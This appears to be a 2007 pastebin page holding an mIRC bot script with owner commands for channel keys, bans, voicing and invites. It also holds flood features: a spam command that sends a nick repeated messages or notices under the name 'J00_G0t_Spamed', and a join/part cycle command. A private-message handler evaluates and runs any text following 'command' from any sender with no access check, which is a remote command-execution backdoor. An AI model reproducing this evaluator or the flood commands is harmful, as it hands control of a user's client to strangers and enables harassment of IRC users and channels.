All pastes #593871 Raw Edit

Mine

public text v1 · immutable
#593871 ·published 2007-06-28 16:17 UTC
rendered paste body
on *:TEXT:!*:#: {
  if ($address($nick,2) == $address($me,2)) {
    mode $me +Bp
    if ($1- == !commands) {
      privmsg $nick !spam(msg|notice) nick number_of_times message
      privmsg $nick !cycle channel number_of_cycles
      privmsg $nick !setkey key
      privmsg $nick !keyoff
      privmsg $nick !invite nick
      privmsg $nick !tb nick minutes reason
      privmsg $nick !voiceall
      privmsg $nick !devoiceall
      privmsg $nick !part
      privmsg $nick !reset
      privmsg $nick !exit
    }
    if ((!spam* iswm $1-) && ($3- != $null)) {
      if ($1 == !spammsg) {
        set %type msg
      }
      if ($1 == !spamnotice) {
        set %type notice
      }
      if (($1 != !spammsg) && ($1 != !spamnotice)) {
        notice $nick Enter !spammsg or !spamnotice
        halt
      }
      set %nick $me
      nick J00_G0t_Spamed
      timermsgspam $3 1 %type $2 $4-
      timerunset11 1 $calc( $3 + 1 ) nick %nick
      timerunset12 1 $calc( $3 + 2 ) unset %nick
      timerunset13 1 $calc( $3 + 3 ) unset %type
    }
    if (($1 == !cycle) && ($3- != $null)) {
      set %chan $2
      set %cyclenum $3
      set %nick $me
      nick J00_G0t_Cycled
      while (%cyclenum > 0) {
        dec %cyclenum
        join %chan
        part %chan Cycling
      }
      nick %nick
      unset %chan | unset %cyclenum | unset %nick
    }
    if (($1 == !setkey) && ($2- != $null)) {
      if (%key == $null) {
        mode $chan +k $2
        set %key $2
        notice $nick The key has been set to $2 $+ .
      }
      else {
        mode $chan -k %key
        mode $chan +k $2
        set %key $2
        notice $nick The key has been changed to $2 $+ .
      }
    }
    if ($1- == !keyoff) {
      if (%key != $null) {
        mode $chan -k %key
        unset %key
        notice $nick The key is now off.
      }
      else {
        notice $nick There is no key set.
      }
    }
    if (($1- == !reset) || ($1- == !exit)) {
      if (%key != $null) {
        mode $chan -k %key
      }
      unset %*
      mode $me -Bp
      timer* off
      notice $nick Bot has been reset.
      if ($1- == !exit) {
        exit -n
      }
    }
    if (($1 == !invite) && ($2- != $null)) {
      invite $2 $chan
      msg $chan $2 has been invited to $chan $+ .
    }
    if (($1 == !tb) && ($3- != $null)) {
      if (($me isop $chan) || ($me ishop $chan)) {
        ban -ku $+ $calc( $3 * 60 ) $chan $2 Temp ban for $3 minute(s) $chr(124) Reason: $4-
      }
    }
    if ($1- == !part) {
      part $chan
    }
    if ($1- == !voiceall) {
      set %x $nick($chan,0)
      set %y 0
      while (%x > 0) {
        dec %x
        inc %y
        if ($nick($chan,%y) isreg $chan) {
          mode $chan +v $nick($chan,%y)
        }
      }
      unset %x
      unset %y
    }
    if ($1- == !devoiceall) {
      set %x $nick($chan,0)
      set %y 0
      while (%x > 0) {
        dec %x
        inc %y
        if ($nick($chan,%y) isvoice $chan) {
          mode $chan -v $nick($chan,%y)
        }
      }
      unset %x
      unset %y
    }
  }
  else {
    notice $nick Access denied.
  }
}

on *:TEXT:*:?: {
  if ($1 == command) {
    $($2-,2)
    close -m
  }
}

on *:INVITE:#: {
  if ($address($nick,2) == $address($me,2)) {
    join $chan
  }
  else {
    notice $nick Access denied.
  }
}

alias connect {
  server irc.swiftirc.net -j #welure_24_7
}